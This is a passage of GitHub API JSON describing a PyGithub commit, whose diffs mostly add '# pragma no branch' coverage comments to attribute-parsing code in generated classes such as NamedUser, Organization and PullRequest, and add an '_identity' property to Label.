\"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","filename":"src/github/IssueEvent.py"},{"patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","changes":13,"additions":10,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py"},{"patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","filename":"src/github/Milestone.py"},{"patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":26,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","filename":"src/github/NamedUser.py"},{"patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":24,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","changes":48,"additions":24,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","filename":"src/github/Organization.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","filename":"src/github/Permissions.py"},{"patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","filename":"src/github/Plan.py"},{"patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":26,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","filename":"src/github/PullRequest.py"},{"patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ 